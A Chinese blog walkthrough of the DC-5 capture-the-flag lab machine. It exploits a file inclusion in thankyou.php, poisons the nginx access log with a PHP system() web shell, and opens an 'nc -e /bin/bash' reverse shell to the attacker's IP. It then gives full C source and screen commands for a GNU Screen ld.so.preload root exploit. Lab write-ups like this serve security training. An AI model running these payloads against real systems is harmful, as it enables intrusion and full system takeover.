DC5-靶机

下载地址

作者已经做了一个提示视频,地址

配置的环境:

kali:192.168.25.131         DC5-靶机 和 kali 在同一C段

渗透

nmap扫描网段,发现存活主机

nmap -sP 192.168.25.0/24

发现主机 192.168.25.135,判定为DC3-靶机,继续使用nmap获取详细信息

nmap -A -p 1-65535 192.168.25.135

目标开放了80(nginx1.6.2)、111和44967端口,浏览器访问得到如下

尝试目录爆破无果,在Contact发现留言板,可测试XSS、SQL注入,无果

提交数据的URL如下,数据以GET方式提交

http://192.168.25.135/thankyou.php?firstname=abc&lastname=123&country=australia&subject=6666

提交后的页面

刷新提交页面,发现下图年份每次都改变,猜测并不是一个静态数据,存在文件包含

尝试文件包含漏洞,得到数据

http://192.168.25.135/thankyou.php?file=/etc/passwd

此站点不存在文件上传功能,所以尝试包含日志文件写shell,站点为nginx,默认存放路径如下

http://192.168.25.135/thankyou.php?file=/var/log/nginx/access.log

访问 <?php system($_GET['cmd']) ;>,写入日志记录文件

查看错误日志,验证是否成功

http://192.168.25.135/thankyou.php?file=/var/log/nginx/error.log

未发现报语法错误,kali监听4444端口,反弹shell

<?php system($_GET['cmd']);?>
/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.25.131 4444

使用Python得到一个交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'


查看该用户有什么root权限命令

find / -perm -u=s -type f 2>/dev/null

在kali使用searchsploit 搜索 screen

exp,在kali本地编译得到 libhax.so 和 rootshell

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
gcc -fPIC -shared -ldl -o libhax.so libhax.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
gcc -o rootshell rootshell.c

上传至靶机 tmp目录(wget,scp等方法)

scp [email protected]:/home/xx /home/xx

提权

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshell

得到Flag!

总结:

文件包含漏洞需要细心才能发现

反弹shell,本地玩的时候,一句话写成 @eval 会报语法错误,另外1234端口死活弹不回来,不知道为什么:),换成 4444 秒弹...

发布了67 篇原创文章 · 获赞 50 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/Auuuuuuuu/article/details/100118877
今日推荐